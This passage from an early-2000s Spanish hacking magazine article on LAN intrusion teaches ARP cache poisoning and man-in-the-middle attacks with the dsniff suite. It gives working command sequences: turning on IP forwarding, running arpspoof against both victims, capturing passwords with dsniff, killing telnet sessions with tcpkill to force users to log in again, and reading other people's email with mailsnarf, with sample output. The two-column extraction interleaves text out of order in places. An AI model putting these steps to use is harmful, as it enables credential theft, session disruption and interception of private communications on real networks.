            máquina es la expuesta anteriormente:                  segunda es algo más compleja. La dejaremos para más
                                                                   adelante en este mismo artículo.
           Maquina UNO:
           -      IP: 192.168.0.1
           -      MAC: 00:04:76:22:3E:AD                       Bien... Llegados a este punto lo que ocurrirá
                                                               es que TODO el tráfico que la Máquina UNO
            Maquina DOS:                                       deba dirigir a la Máquina DOS ¡Llegará a nuestra
           -      IP: 192.168.0.2                              Máquina ATACANTE!... pero NO ocurrirá lo
           -      MAC: 00:04:75:25:3F:AE                       mismo con el tráfico que envíe la Máquina DOS
                                                               a la Máquina UNO. Su tabla caché contendrá
            Maquina ATACANTE:                                  el valor de la MAC auténtica de la Máquina
           -      IP: 192.168.0.10                             UNO, dado que, hasta ahora, SOLO hemos
           -      MAC: 00:04:76:34:2A:2F                       envenenado la caché de la Máquina UNO.

            La Máquina ATACANTE envenena la caché de           Además, es muy importante notar que, estando
            la Máquina UNO, diciéndole que la IP               las cosas así, la Máquina UNO estará bajo un
            de la Máquina DOS tiene la MAC de la               ataque DoS en lo que a sus conexiones contra
            máquina ATACANTE. La tabla interna                 la Máquina DOS se refiere (el tráfico nos llega
            de la Máquina UNO quedaría como                    a nosotros, pero NO a la máquina DOS).
            sigue:
                                                                Visto todo esto ya tenemos algunas cuantas
                IP                          MAC                 cosas más claras:
            192.168.0.2                00:04:76:34:2A:2F       -        Si queremos realizar un ataque de MiM
                                                               (Hombre en el Medio), necesitamos que el
                                                               tráfico entre Máquina UNO y Máquina DOS pase
  !            Podemos ver...                                  a través de nosotros, pero llegue a sus destinos
                                                               (el tráfico NO debe interrumpirse). Es decir,
  Podemos ver el contenido de la tabla ARP de nuestro equipo   debemos poder “rutar” o reenviar el tráfico que
  tecleando el comando: arp –a, tanto en Linux como en         no vaya dirigido a nuestra dirección IP (para
  Windows.                                                     que ambas máquinas puedan conectarse entre
                                                               sí pasando a través de nosotros).

PC PASO A PASO Nº 11                                                                                              Página 35
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            -       Debemos envenenar la caché de
            Máquina UNO diciendo que la IP de Máquina
            DOS corresponde a nuestra MAC Address.
            -       Debemos envenenar la caché de
            Máquina DOS diciendo que la IP de Máquina
            UNO corresponde a nuestra MAC Address (si
            queremos que el tráfico que fluye de DOS ->
            UNO pase por nosotros... muchas veces NO
            es necesario).
            -       Finalmente, deberemos poder hacer
            “algo” con ese tráfico que está atravesando
            nuestra máquina.



  !            Sí aplicamos...

  Si aplicamos todos estos puntos estaremos exactamente en                                Gráfico 5
  la situación que mostrábamos en el Gráfico 4.


                                                             Pues a nuestro alcance tenemos una forma de
                                                             saltarnos estas protecciones incluso con las
            Solventadas estas cuestiones habremos llevado    máquinas con las IP “reales” encendidas,
            a cabo con éxito un ataque de MiM. Veremos       conectadas y en funcionamiento.
            como llevar este ataque a la práctica un poco
            más adelante... De momento espero que hayáis     Todos los que se hayan metido a fondo en el
            comprendido el concepto.                         tema del IP Spoofing (Suplantación de IP) saben
                                                             que, en general, se trata de un proceso tedioso
             3.2.- IP Spoofing: Profundizando.               y complejo. Casi siempre trabajas “a ciegas”,
            Por otro lado... Hemos conseguido que una        dado que puedes “camuflar” tus paquetes de
            máquina concreta “piense” que la dirección IP    salida para que lleven codificada la IP de otra
            de otra máquina concreta está en nuestra         máquina, pero las respuestas NO llegarán a tu
            máquina. ¿Cómo podemos aprovechar esto?          máquina.
            Lo primero que se viene a la cabeza es: IP
            Spoofing o Suplantación de IP.                   Una forma de solventar esto consiste en
                                                             mantener un sniffer que vaya guardando todo
            Todos conocemos equipos cuyo acceso está         el tráfico de red mientras realizas el ataque.
            restringido a ciertas direcciones IP. O proxys   Cuando has acabado, siempre puedes abrir los
            que sólo dejan conectarse a Internet a           archivos logeados y “discriminar” aquel tráfico
            determinadas direcciones IP. O Cortafuegos       que se correspondía con las respuestas a tus
            que permiten determinado tráfico tan sólo si     peticiones pero que no iba dirigido a tu dirección
            le llega de ciertas IP...                        IP (sino a la suplantada). Esta solución NO es
                                                             simple, y a menudo obliga a crear programas
            Nos encontraremos en un caso parecido al del     concretos tan sólo para analizar, en batch, toda
            gráfico 5.                                       esta información... Pero nunca “on the fly”.


Página 36                                                                                          PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




          Otro problema asociado tradicionalmente al IP         dedicada a IP Spoofing resulta trivial haciéndola
          Spoofing consiste en que, generalmente, se            desde Linux.
          utilizaban programas concretos para llevar a
          cabo esta ardua tarea, no teniendo la posibilidad     Como herramienta básica elegí el viejo y querido
          de usar “cualquier” aplicación habitual de tu         paquete dsniff. Con “dsniff” me estoy refiriendo
          PC para que saliese con una IP diferente...           a un conjunto de herramientas que vienen en
                                                                un mismo “paquete” o “suite”... Dicho paquete
          Pero eso ha cambiado... Y un poco más adelante        hereda el nombre de una de las herramientas:
          veremos ¡cómo podemos suplantar la dirección          un sniffer de contraseñas llamado dsniff. Algunas
          IP de una máquina de nuestra red y hacer que          de las razones por las que me he decidido por
          cualquier aplicación de nuestro PC utilice esa        esta herramienta son:
          IP!
                                                                -        En primer lugar, esto es un artículo de
          Nos encontraremos en una situación similar a          “proof of concept”, como casi siempre que
          la del siguiente gráfico.                             escribo algo. Es decir, trato de explicar en
                                                                profundidad un concepto, más que centrarme
                                                                en el uso (o abuso) de una herramienta.
                                                                Considero que la “suite” “dsniff” permite
                                                                entender perfectamente TODO el proceso, punto
                                                                por punto.
                                                                -        En segundo lugar, se trata de un
                                                                paquete de herramientas que se pueden ejecutar
                                                                de forma independiente y todas desde la línea
                                                                de comandos... Esto os permitirá automatizar
                                                                determinadas tareas concretas y potenciarlas
                                                                mediante su uso desde un archivo de script
                                                                (escrito en shell script, perl, python o el lenguaje
                                                                que más os guste).
                                                                -        En tercer lugar... Existen demasiadas
                                                                herramientas a las que atender. No tendría
                                                                sentido por mi parte utilizar una que estuviese
                                                                enfocada a algo concreto... Prefiero algo de
                                                                uso un poco más... general. Con dsniff podremos
                         Gráfico 6                              hacer cosas que otras herramientas no nos
                                                                permiten... O usar los programas del paquete
                                                                dsniff para combinarlos con otro tipo de
          4.- NUESTRA HERRAMIENTA BÁSICA                        herramientas.
          PARA INTRUSIÓN EN REDES: DSNIFF                       -        En cuarto lugar, y para los usuarios de
          A la hora de escribir este artículo, se me            Windows exclusivamente, Vic_Thor ha colgado
          plantearon varias dudas con respecto a que            un EXCELENTE pdf acerca del uso del CAIN y
          herramientas debía utilizar... Me decanté,            su potencial como sniffer de claves en redes
          inicialmente, por Linux como S.O. preferido.          conmutadas (que es a lo que Caín está
          Las razones son tres: En primer lugar, lo prefiero.   orientado: al robo de contraseñas). Podéis
          En segundo lugar, la mayoría de las                   encontrarlo en los foros de HackxCrack.
          herramientas las he usado siempre en ese              -        En quinto lugar... Como homenaje.
          Sistema Operativo. En tercer lugar... La parte        Desde que descubrí dsniff hace unos años se

PC PASO A PASO Nº 11                                                                                                   Página 37
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            abrió ante mí un mundo nuevo de                     contraseñas. Puede esnifar contraseñas de FTP,
            posibilidades... ¿Qué queréis? Le tengo cierto      Telnet, HTTP, POP, NNTP, IMAP, SNMP, LDAP,
            cariño... En el fondo soy un nostálgico. Y sigue    Rlogin, NFS, SOCKS, X11, IRC, AIM, CVS, ICQ,
            siendo una herramienta perfectamente válida         Napster, Citrix ICA, Symantec pcAnywhere, NAI
            y muy potente.                                      Sniffer, Microsoft SMB, y Oracle SQL*Net.
            -         Y por último, pero no menos               -        dnsspoof: Permite falsificar respuestas
            importante... Porque me sale de los c*j*n*s         DNS para ataques basados en nombres de hosts
            (cielos con la censura... quería decir “cojones”    (y para determinados ataques MiM que veremos
            ;) ). Si uno de vosotros escribe un artículo que    más adelante). Muy recomendable conocerlo ;)
            elija la herramienta que le venga en gana.
                                                                -        filesnarf: captura y guarda ficheros
            Para los que estéis interesados en explorar         pasados a través de NFS. La mayoría de vosotros
            otras posibilidades en redes conmutadas, os         no os encontrareis recursos remotos montados
            recomendaría que echaseis un ojo a programas        sobre NFS en vuestra red, pero... Nunca se
            gratuitos (algunos Open Source) como arp-sk         sabe.
            (también en versión Windows), hunt, ettercap,       -        mailsnarf: Permite capturar todo el
            Cain (si aun no lo habéis pillado ya estáis         tráfico de correo entre las máquinas que hemos
            tardando... Echadle un ojo también al Abel ;) )     suplantado (o de toda la red si la red es
            y, de manera obligatoria, ethereal. Ethereal        compartida). Esto incluye tráfico SMTP y POP.
            dispone de versiones para varios S.O., incluidos    Guarda los resultados en formato mbox (para
            Windows y Linux. Dispone de un excelente            poder leer los correos con cualquier cliente de
            entorno gráfico, aunque pueden aprovecharse         correo estándar).
            muchas de sus posibilidades con parámetros          -        macof: Inunda la red local con MAC
            desde la línea de comandos. Para mi es de los       Address aleatorias. Esto hace que algunos
            mejores analizadores de red que he visto y...       switches entren en modo “hub” permitiendo el
            ¡Es Open Source! A mayores, podréis combinarlo      esnifado de toda la red (como comentamos
            con tcpdump (también Open Source) y tendréis        antes).
            una enorme capacidad de análisis de tráfico         -        msgsnarf: Registra determinados
            en vuestra red.                                     mensajes (según el patrón especificado) de las
                                                                sesiones chat abiertas con los programas AOL
            Pues lo dicho... Usaremos los programas que         Instant Messenger, ICQ 2000, IRC, MSN
            vienen con el paquete dsniff para demostrar         Messenger o Yahoo Messenger.
            los conceptos explicados en este artículo. No       -        Sshmitm: reenvía (proxy) y esnifa
            los explicaré todos en profundidad, porque lo       tráfico SSH redirigido hacia nuestra máquina
            cierto es que es trivial hacerse con ellos y algo   por dnsspoof, capturando claves SSH, y
            tendréis que hacer por vuestra cuenta... Pero       permitiendo el hijacking de sesiones interactivas.
            los repasaremos por encima antes de llevar a        Sólo soporta SSH versión 1 (afortunadamente...
            la práctica varios “ataques” MiM e IP Spoofing.     una buena razón para usar SSH2 ;) ). Esta es
                                                                una de las herramientas más “peligrosas” del
            -        arpspoof: Se encarga de enviar los         paquete.
            paquetes “arp reply” falsos a la máquina que        -        webmitm: similar a sshmitm, hace de
            le indiquemos como “target” para suplantar la       proxy transparente y esnifa conexiones HTTP
            dirección MAC de la segunda máquina que le          y HTTPS redirigidas a nuestra máquina usando
            indiquemos. Esta será nuestra herramienta de        dnsspoof. Sus posibilidades SSL asustan,
            envenenamiento ARP en redes conmutadas.             permitiendo capturar la mayoría de las claves
            -        dsniff: Un simple sniffer de               en formularios y web seguras (p. ej. HotMail,

Página 38                                                                                             PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




          pa los “adictos” a estas cosas :P ). Otra             una versión portada a Windows (aunque no sé
          herramienta que “acojona”.                            si estará completa o si habrán portado todas
          -         sshow: (Nuevo, sólo disponible en la        las herramientas).
          versión Beta... No lo he probado, pero su
          descripción parece interesante). Permite analizar     A efectos de este artículo revisaremos algunas
          tráfico SSH (versiones 1 y 2) como intentos de        de ellas, aprendiendo como sacarle partido.
          autenticación, longitud de las passwords en
          sesiones interactivas, longitud de los comandos,      Y ya vamos a comenzar con algunos ejemplos...
          etc... Su aplicación no es tan simple como
          sshmitm, pero no deja de ser impresionante            5.- Ataque MiM. La práctica.
          dado que suministra información acerca de             En este momento ya conocemos la teoría que
          conexiones vía SSH2.                                  rodea a toda esta parafernalia... Vale, no somos
          -         tcpkill: Permite matar conexiones ya        unos “expertos”... Pero tenemos una idea general
          establecidas. Tiene múltiples utilidades,             suficiente para entender lo que vamos a hacer
          pudiendo usarse, por ejemplo, para matar una          sin limitarnos a realizar un “copiar y pegar” y
          sesión telnet establecida por un usuario antes        “que sea lo que Dios quiera”.
          de que empezásemos a esnifar, obligándolo a
          empezar de nuevo (y a meter su clave ;) ).            Partimos de la base de que estamos en una
          Admite filtros al estilo tcpdump.                     red conmutada (formada por switches). Hace
          -         tcpnice: Similar a tcpkill, pero en lugar   no muchos años, los hubs eran de uso extendido,
          de “matar” conexiones, lo que hace es                 sobre todo por motivos económicos. Pero
          ralentizarlas.                                        actualmente los precios de los switches son
          -         urlsnarf: Registra todas las referencias    completamente asequibles, por lo que la mayoría
          a URL existentes en el tráfico esnifado. Gran         de las redes que os encontrareis estarán
          utilidad para conocer que webs han sido o             formadas así.
          están siendo visitadas desde un equipo.
          -         webspy: Y esto es una... umm...             Lo primero que deberéis hacer es bajaros e
          “frivolidad” ;). Webspy os permitirá ver en           instalaros el paquete dsniff completo de su
          vuestro navegador lo mismo que esté viendo            página web oficial:
          la máquina esnifada en el suyo “on the fly”. Lo
          que hace es capturar las URL esnifadas “on            http://naughty.monkey.org/~dugsong/dsniff/
          line” y pasárselas a vuestro navegador Netscape
          en el momento. Es decir: Si él navega, ambos
          navegáis por los mismos sitios y a la vez sin
                                                                   !             A n t e s d e i n s t a l a r. . .
          que tengas que hacer otra cosa que mirar tu
          navegador :P.                                            Antes de instalar dsniff deberéis aseguraros de tener
                                                                   instalados los siguientes paquetes: Berkeley DB, OpenSSL,
          Muchas de estas herramientas admiten filtros             libpcap, libnet y libnids. Todas las distribuciones de Linux
          del estilo de tcpdump, que permiten “acotar”             que conozco disponen de una versión compilada “lista-
          el tráfico que se va a “tratar” de una forma             para-instalar” de dichos paquetes. La compilación e
          especial... Los que no conozcáis los filtros             instalación de paquetes en Linux escapa al alcance de este
          tcpdump ya sabéis: google ;)                             artículo... Sin duda, aparecerá pronto en la revista en la
                                                                   serie dedicada a GNU/Linux.
          Y creo que no me dejo ninguna... A poco que
          leáis podréis ver las enormes posibilidades de        Recordemos los pasos a dar para que un ataque
          esta magnífica herramienta. Por cierto... Existe      de hombre en el medio sea eficaz. Pero esta

PC PASO A PASO Nº 11                                                                                                Página 39
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            vez... iremos ejecutando las instrucciones en     las pruebas usaremos varias consolas
            la consola de nuestro Linux. Realizaremos todos   precisamente para ver la salida a pantalla de
            los pasos como usuario “root” (ver artículo       las herramientas y entender lo que hacen...
            sobre Linux en la revista Nº 10). Bien, Abramos   Posteriormente podéis ejecutar las herramientas
            una consola como root y sigamos el                en una sola consola, simplemente
            procedimiento comentado anteriormente...          redireccionando la salida, p.ej: arpspoof –t
                                                              192.168.0.1 192.168.0.2 > /dev/null
            Contamos con las 3 máquinas ya conocidas de       2>&1 &).
            nuestra red, a saber:                             En este momento ya habremos conseguido que
            Maquina UNO:                                      el tráfico que va dirigido de Máquina UNO a
            -       IP: 192.168.0.1                           Máquina DOS (UNO->DOS) pase a través de
            -       MAC: 00:04:76:22:3E:AD                    nosotros.

             Maquina DOS (vamos a suponer que es el
             gateway de salida a Internet o router... para
             hacerlo más interesante ;) ):                        !            Po d e m o s      d e t e n e r. . .
            -       IP: 192.168.0.2
            -       MAC: 00:04:75:25:3F:AE                        Podemos detener la ejecución de arpspoof en cualquier
                                                                  momento pulsando la combinación “mágica” Ctrl-C.
             Maquina ATACANTE (desde ahora “intruder”):
            -      IP: 192.168.0.10
            -      MAC: 00:04:76:34:2A:2F
                                                              c)      Ahora debemos tomar la decisión de
            a)      Vamos a permitir que el tráfico           si queremos también quedarnos con el tráfico
            “atraviese” nuestra máquina (Máquina              que venga de Máquina DOS hacia Máquina
            ATACANTE o intruder) activando el ip              UNO. OJO... No es lo mismo. Podéis verlo como
            forwarding:                                       una carretera con dos carriles... De momento
                                                              SOLO hemos interceptado UN carril. En función
            intruder:~ # echo 1 > /proc/sys/net/              de lo que deseemos hacer será conveniente o
            ipv4/ip_forward                                   no. Hacerlo es tan simple como repetir el
                                                              comando anterior levemente modificado.
            b)       Ahora procedemos a “envenenar” la        Abrimos otra consola (no cerréis la anterior,
            caché ARP de la Máquina UNO de forma que          ¿vale?)           y      escribimos:
            piense que la IP de la Máquina DOS la alcanzará
            en la MAC Address de nuestra máquina. Para        intruder:~ # arpspoof –t 192.168.0.2
            ellos tecleamos:                                  192.168.0.1

            intruder:~ # arpspoof –t 192.168.0.1              Aquí hacemos lo contrario que en el punto
            192.168.0.2                                       anterior. La caché que envenenamos es la de
                                                              la Máquina DOS, diciéndole que la IP de la
            De esta forma decimos que “realice un arp         Máquina UNO la podrá alcanzar usando nuestra
            spoof en la caché de la máquina 192.168.0.1       MAC (la de intruder). Ahora, el tráfico que vaya
            – Máquina UNO - metiendo nuestra MAC para         de Máquina DOS a Máquina UNO TAMBIEN
            la IP 192.168.0.2 – Máquina DOS-. Observad        atravesará nuestra máquina (ya tenemos
            que arpspoof comienza a realizar un               controlado el segundo carril ;).
            “spamming” de ARP reply para tratar de

Página 40                                                                                         PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            d)     Ahora solo falta que hagamos “algo”          Abrimos una segunda consola (Consola 2):
            con ese tráfico... Exploremos algunos “algo”        - Consola 2
            que podemos hacer...                                intruder:~ # dsniff –w fichero_salida
                                                                Lo dejamos corriendo y a esperar que los
            6.- ALGUNOS ATAQUES POSIBLES                        passwords vayan cayendo y grabándose en el
            USANDO LAS HERRAMIENTAS DE                          fichero... Posteriormente podremos ver el
            DSNIFF.                                             contenido de este fichero usando la opción –r
            En este momento, disponemos de tráfico de           de dsniff: dsniff –r fichero_salida ;).
            red que NO pertenece a nuestra máquina              Este fue el uso típico de dsniff en sus
            pasando a través de nosotros... ya podemos          comienzos... Sin embargo, hay programas que
            hacer lo que tuviésemos pensado. Veamos             realizan esta operación de forma más cómoda
            algunas posibilidades...                            y vistosa (ver Cain, p.ej.)...

            6.1.- Esnifando Contraseñas.
            La función básica del programa dsniff, programa
            que da nombre a la “suite”, consiste en esnifar         !             A la hora...
            contraseñas. Realmente no tiene ninguna
            ciencia. Bastará con realizar un ataque de MiM
                                                                    A la hora de esnifar contraseñas de ORACLE en una
            y poner a correr la aplicación dsniff...
                                                                    conexión SQLNet, se debe ampliar el número de bytes a
            Veámoslo:
                                                                    leer por dsniff. Esto es debido a que dicho protocolo resulta
                                                                    extremadamente... charlatán. Un valor de 4096 bytes será
            Abrimos una consola (nos referiremos a ella
                                                                    suficiente, por lo que deberemos usar la opción –s 4096
            como “Consola 1”).
                                                                    (dsniff –s 4096 –w fichero_salida)... Este punto concreto
            - Consola 1
                                                                    está explicado en las FAQ de dsniff.
            intruder:~ # echo 1 > /proc/sys/net/ipv4/
            ip_forward
            intruder:~ # arpspoof –t 192.168.0.1
            192.168.0.2                                         6.2.- Matando o Imposibilitando
            0:04:76:34:2a:2f 0:04:76:22:3e:Ad 0806 42:          conexiones concretas.
            arp reply 192.168.0.2 is-at 0:04:76:34:2a:2f        En ocasiones, nos puede interesar matar una
            0:04:76:34:2a:2f 0:04:76:22:3e:Ad 0806 42:          conexión establecida entre dos máquinas
            arp reply 192.168.0.2 is-at 0:04:76:34:2a:2f        porque, por ejemplo, la autenticación ya se ha
            ...                                                 realizado y hemos llegado tarde para esnifar
                                                                las contraseñas.

  !            En este caso...                                  Por ejemplo, supongamos una sesión telnet
                                                                preestablecida de Máquina UNO a Máquina
  En este caso, NO nos interesa, en principio, el tráfico que   DOS. Hemos llegado tarde y nos hemos situado
  vaya de Máquina DOS a Máquina UNO, dado que                   “en el medio” (MiM) cuando el usuario de
  suponemos que la autenticación irá en un solo sentido para    Máquina UNO ya se había autentificado (había
  la mayor parte de los protocolos... Si lo necesitásemos       hecho login). ¿Qué podemos hacer?... Pues
  (autenticación de doble sentido) tan sólo deberemos abrir     una opción consiste en “matar” su sesión
  una consola a mayores y envenenar la caché del gateway        obligándolo a reconectarse (y hacer login de
  (Máquina DOS) tal y como se explicó en el apartado c del      nuevo enviando su contraseña a través de la
  punto anterior.                                               red otra vez).


PC PASO A PASO Nº 11                                                                                                 Página 41
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




            Como siempre, partimos de que previamente           por delante... Matar una conexión YA ES
            hemos abierto una consola (Consola 1) y             bastante intrusivo y “cantoso”... No hay por
            ejecutado los comandos necesarios para el           qué dar el cante más allá de lo necesario,
            arp spoofing:                                       ¿no? ;).

            - Consola 1                                         No me extenderé más en esta sintaxis. Los
            intruder:~ # echo 1 > /proc/sys/net                 que hayáis leído todo el artículo hasta este
            /ipv4/ ip_forward                                   punto recordareis (y si no lo hago yo ahora)
            intruder:~ # arpspoof –t 192.168.0.1                que comenté que muchas (casi todas) las
            192.168.0.2                                         herramientas del paquete dsniff permitían usar
                                                                filtros del estilo de tcpdump para delimitar
            Ahora vamos a acabar con esa maldita sesión         el tráfico que debían tratar... Bien, el de este
            telnet que nos hemos encontrado empezada...         ejemplo es un filtro sencillo de ese estilo. Más
            Abrimos una segunda consola (Consola 2):            información en Google ;).

            - Consola 2                                         Usando estos filtros podemos hacer otras
            intruder:~ # tcpkill src 192.168.0.1 and            cosas... Por ejemplo. Supongamos que, por
            dst 192.168.0.2 and dst port 23
                                                                alguna oscura razón, no queremos que una
            tcpkill: listening on eth0 [src 192.168.0.1 and
                                                                máquina determinada (Máquina UNO) pueda
            dst 192.168.0.2 and dst port 23]
                                                                conectarse a las páginas web de Playboy ni a
            192.168.0.2:23 > 192.168.0.1:3298: R
            3745379103:3745379103(0) win 0                      la de IBM (Como he dicho, nuestras razones
            192.168.0.2:23 > 192.168.0.1:3298: R                deben ser muy “oscuras” en este caso).
            3745442377:3745442377(0) win 0
            192.168.0.2:23 > 192.168.0.1:3298: R                Bien, hacemos lo de siempre. En una consola
            3745505651:3745505651(0) win 0                      realizamos el arp spoofing (si no lo hemos
            ....                                                parado en la Consola 1, podemos dejarlo
            Una vez veáis una salida similar a esta PULSAD      corriendo). Ya sabéis, los dos comandos de
            Ctrl-C INMEDIATAMENTE para detener la               siempre (echo 1... y arpspoof ...).
            ejecución de tcpkill. De lo contrario, el usuario   Ahora usamos el tcpkill con el siguiente filtro
            de Máquina UNO NO podrá reconectarse vía            en la Consola 2:
            telnet a la Máquina DOS... Veamos ahora el          - Consola 2
            comando:                                            intruder:~ # tcpkill host www.playboy.com
                                                                or host www.ibm.com
            Lo primero que nos encontramos es una               tcpkill: listening on eth0 [host www.playboy.com
            “extraña” (para muchos) sintaxis en el comando      or host www.ibm.com]
            tcpkill: src 192.168.0.1 and dst
            192.168.0.2 and dst port 23                         Ahora, si el usuario de la Máquina UNO trata
                                                                de acceder a cualquiera de esas direcciones...
            Le estamos diciendo que seleccione aquellas         Simplemente NO podrá. El programa tcpkill
            conexiones provenientes de 192.168.0.1              matará cualquier intento por su parte.
            (Máquina UNO) y que tienen como destino el          Obviamente, hay mejores formas de evitar que
            puerto 23 de la Máquina DOS (192.168.0.2)...        un usuario se conecte a determinados hosts...
            ¿Por qué el puerto 23? Pues porque es el            Pero con tcpkill podemos parar CUALQUIER
            puerto de telnet. ¿Y por qué tenemos que dar        tipo de conexión a cualquier puerto de una
            tantos datos? Pues porque de lo contrario,          forma sencilla y controlada hasta que pulsemos
            tcpkill mataría las conexiones que se encontrase    Ctrl-C o matemos el proceso. Insisto en que

Página 42                                                                                           PC PASO A PASO Nº 11
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL




      le echéis un ojo a los filtros tcpdump... Pueden   - Consola 1
      resultar de lo más efectivos en las manos
                                                         intruder:~ # echo 1 > /proc/sys/ net/ipv4/ip_forward
      adecuadas.
                                                         intruder:~ # arpspoof –t 192.168.0.1 192.168.0.2

      Ahora ya sabéis por qué os dije antes, al matar
      la sesión telnet, que abortaseis rápidamente       - Consola 2
      el programa tcpkill (con Ctrl-C). Este programa
                                                         intruder:~ # arpspoof –t 192.168.0.2 192.168.0.1
      se queda a la escucha e impide las conexiones
      del tipo especificado en sus filtros, por lo que
                                                         - Consola 3
      de permanecer activo la Máquina UNO no
      podría realizar una nueva conexión telnet a la     intruder:~ # mailsnarf
      Máquina DOS (en el ejemplo anterior).              mailsnarf: listening on eth0
                                                         From unocualquiera@dominio.com Thu May 29 02:19:57 2003
      Una herramienta similar (y muy curiosa, si se      Message-ID: <3EE76A88.6010800@slater-i.com>
                                                         Date: Wed, 11 Jun 2003 19:44:40 +0200
      me permite decirlo) es tcpnice. Su sintaxis es
                                                         From: Uno Cualquiera <unocualquiera@dominio.com>
      idéntica a la de tcpkill... Pero en lugar de       User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1)
      “matar” una conexión lo que hace es                Gecko/20020826
      ralentizarla... Hacerla insufriblemente lenta.     X-Accept-Language: es, en-us, en
      Probadla, es cuanto puedo decir. Es un             MIME-Version: 1.0
      ejercicio... simpático ;).                         To: echo@rediris.es
                                                         Subject: Probando el correo este...
                                                         Content-Type: text/plain; charset=us-ascii; format=flowed
      6.3.- Quedándonos con el correo que no             Content-Transfer-Encoding: 7bit
      nos pertenece.
      Otra de las utilidades contenidas en el paquete    Esto es un ejemplo de prueba de correo... Hay que ver que pasa...
      dsniff es mailsnarf. Como su nombre indica,
                                                         From mailsnarf Thu May 29 02:20:33 2003
      es un sniffer de correo electrónico... Pero NO
                                                         Received: from chico.rediris.es (chico.rediris.es [130.206.1.3])
      de contraseñas. De correo puro y duro.                  by mail.dominio.com (8.12.9/8.12.9/SuSE Linux 0.6) with ESMTP id
                                                         h5BKhehL001605
      Podemos quedarnos con el contenido de todos             for <unocualquiera@dominio.com>; Wed, 11 Jun 2003 19:43:40 -0100
                                                         Received: from chico.rediris.es (localhost [127.0.0.1])
      los correos que entran o salen de una máquina
                                                              by chico.rediris.es (8.12.9/8.9.1) with ESMTP id h5BHiPUh004225
      y guardarlos en un archivo que luego podremos           for <unocualquiera@dominio.com>; Wed, 11 Jun 2003 19:44:25 +0200
      revisar con cualquier lector de correo (tipo       (CEST)

      mbox o, para los habituados a Windows,             Received: (from daemon@localhost)
                                                              by chico.rediris.es (8.12.9/8.12.9/Submit) id h5BHiPU5004222;
      inbox).                                                 Wed, 11 Jun 2003 19:44:25 +0200 (CEST)
                                                         Date: Wed, 11 Jun 2003 19:44:25 +0200 (CEST)
      En este caso, vamos a necesitar realizar un        From: echo-reply@rediris.es
                                                         Message-Id: <200306111744.h5BHiPU5004222@chico.rediris.es>
      MiM en toda regla, envenenando las tablas
                                                         To: unocualquiera@dominio.com
      caché de ambos extremos. Esto es así porque        In-Reply-To: <3EE76A8.60800@dominio.com>
      mailsnarf esnifa tanto tráfico SMTP (protocolo     Mime-Version: 1.0
      para el envío de correo) como tráfico POP          Content-Type: Multipart/Mixed; Boundary=%#%NextPart#%#
                                                         Subject: Re: Probando el correo este...
      (protocolo para la recepción de correo). Es
                                                         DOMINIO: Parece estar Limpio
      por ello que deberemos vigilar tanto el tráfico    X-UIDL: eh6"!~VF"!]F*"!Z4("!
      saliente como el entrante... Por lo tanto
      pasemos a la acción. Usaremos esta vez TRES        --%#%NextPart#%#

      consolas:



PC PASO A PASO Nº 11                                                                                                            Página 43
INTRUSION EN REDES DE AREA LOCAL - INTRUSION EN REDES DE AREA LOCAL



    Hola,                                                                                  De esta forma, cada vez que la Máquina UNO
    Acabas de enviar un mensaje al Servidor Echo de RedIRIS, la estafeta
                                                                                           envíe o reciba un correo veremos el contenido
    de correo que ha realizado esta operación ha sido "chico.rediris.es".El                en nuestra pantalla. Esta salida podría haber
    cuerpo de esta respuesta automática esta compuesto por la cabecera
                                                                                           sido redirigida a un archivo que pudiésemos
    y el cuerpo de tu mensaje.
                                                                                           explorar más tarde, usando el comando
    Postmaster del Centro de Comunicaciones CSIC/RedIRIS                                   alternativo:
         - Jesús Sanz de las Heras            <jesus.heras@rediris.es>
         - Carlos Fuentes Bermejo              <carlos.bermejo@rediris.es>
                                                                                           intruder:~ # mailsnarf > correo_esnifado
    ______________                    __        _____________________________
                          /_/
    PostMaster            __               __ postmaster@rediris.es                        Luego podemos explorar el fichero
    RedIRIS/CSIC           /_/ RedIRIS /_/ Tel: + 34 915855150                             correo_esnifado de la misma forma que vemos
    Serrano,142                 __            Fax: + 34 915855146
    28006 Madrid                /_/            http://www.rediris.es
                                                                                           nuestro inbox con nuestro cliente de correo
    SPAIN                                   Helpdesk de Correo                             habitual (copiar el fichero en la carpeta en al
    ____________ Spanish Academic & Research Network ___________________
                                                                                           que tengáis el inbox y abrir después vuestro
                                                                                           cliente de correo... A lo mejor necesitáis editar
    --%#%NextPart#%#                                                                       el archivo antes de copiarlo y borrar la primera
                                                                                           línea “mailsnarf: listening on eth0” ;) ).
    >From unocualquiera@dominio.com Wed Jun 11 19:44:25 2003
    Received: from mail.dominio.com ([192.168.0.1])
         by chico.rediris.es (8.12.9/8.9.1) with ESMTP id h5BHiOUh004214                   Como otras herramientas, mailsnarf admite
         for <echo@rediris.es>; Wed, 11 Jun 2003 19:44:24 +0200 (CEST)
                                                                                           filtros tcpdump. Además, admite patrones de
    Received: from dominio.com (nombre_dns [192.168.0.1])
         by mail.dominio.com (8.12.9/8.12.9/SuSE Linux 0.6) with ESMTP id h5BKhbhL001597   filtros especiales para seleccionar solo
         for <echo@rediris.es>; Wed, 11 Jun 2003 19:43:37 -0100                            determinados correos con cabeceras o
    Message-ID: <3EE76A8.60800@dominio.com>
    Date: Wed, 11 Jun 2003 19:44:40 +0200
                                                                                           contenidos concretos, pudiendo ser
    From: Uno Cualquiera <unocualquiera@dominio.com>                                       enormemente selectivo.
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826
    X-Accept-Language: es, en-us, en
    MIME-Version: 1.0                                                                      6.4.- Más peligroso todavía: Esnifando
    To: echo@rediris.es                                                                    tráfico HTTPS (SSL).
    Subject: Probando el correo este...
    Content-Type: text/plain; charset=us-ascii; format=flowed
                                                                                           Llegamos ahora a una de las posibilidades mas
